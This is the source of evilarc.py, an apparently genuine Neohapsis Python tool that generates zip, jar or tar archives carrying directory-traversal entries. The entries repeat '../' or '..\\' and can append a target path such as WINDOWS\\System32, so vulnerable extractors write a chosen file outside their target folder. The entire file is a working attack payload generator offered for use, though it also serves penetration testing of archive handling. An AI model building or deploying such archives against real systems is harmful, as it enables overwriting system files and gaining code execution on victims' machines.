evilarc.py 3.8 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394
  1. #!/usr/bin/env python
  2. #
  3. # Copyright (c) 2009, Neohapsis, Inc.
  4. # All rights reserved.
  5. #
  6. # Implementation by Greg Ose and Patrick Toomey
  7. #
  8. # Redistribution and use in source and binary forms, with or without modification,
  9. # are permitted provided that the following conditions are met:
  10. #
  11. # - Redistributions of source code must retain the above copyright notice, this list
  12. # of conditions and the following disclaimer.
  13. # - Redistributions in binary form must reproduce the above copyright notice, this
  14. # list of conditions and the following disclaimer in the documentation and/or
  15. # other materials provided with the distribution.
  16. # - Neither the name of Neohapsis nor the names of its contributors may be used to
  17. # endorse or promote products derived from this software without specific prior
  18. # written permission.
  19. #
  20. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  21. # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  22. # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  23. # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
  24. # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  25. # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
  26. # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
  27. # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  28. # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
  29. # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  30. import sys, zipfile, tarfile, os, optparse
  31. def main(argv=sys.argv):
  32. p = optparse.OptionParser(description='Create archive containing a file with directory traversal',
  33. prog='evilarc',
  34. version='0.1',
  35. usage='%prog <input file>')
  36. p.add_option('--output-file', '-f', dest="out",
  37. help="File to output archive to. Archive type is based off of file extension. Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.")
  38. p.set_default("out", "evil.zip")
  39. p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.")
  40. p.set_default("depth", 8)
  41. p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.")
  42. p.set_default("platform", "win")
  43. p.add_option('--path', '-p', dest="path",
  44. help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\")
  45. p.set_default("path", "")
  46. options, arguments = p.parse_args()
  47. if len(arguments) != 1:
  48. p.error("Incorrect arguments")
  49. fname = arguments[0]
  50. if not os.path.exists(fname):
  51. sys.exit("Invalid input file")
  52. if options.platform == "win":
  53. dir = "..\\"
  54. if options.path and options.path[-1] != '\\':
  55. options.path += '\\'
  56. else:
  57. dir = "../"
  58. if options.path and options.path[-1] != '/':
  59. options.path += '/'
  60. zpath = dir * options.depth + options.path + os.path.basename(fname)
  61. print("Creating " + options.out + " containing " + zpath)
  62. ext = os.path.splitext(options.out)[1]
  63. if os.path.exists(options.out):
  64. wmode = 'a'
  65. else:
  66. wmode = 'w'
  67. if ext == ".zip" or ext == ".jar":
  68. zf = zipfile.ZipFile(options.out, wmode)
  69. zf.write(fname, zpath)
  70. zf.close()
  71. return
  72. elif ext == ".tar":
  73. mode = wmode
  74. elif ext == ".gz" or ext == ".tgz":
  75. mode = "w:gz"
  76. elif ext == ".bz2":
  77. mode = "w:bz2"
  78. else:
  79. sys.exit("Could not identify output archive format for " + ext)
  80. tf = tarfile.open(options.out, mode)
  81. tf.add(fname, zpath)
  82. tf.close()
  83. if __name__ == '__main__':
  84. main()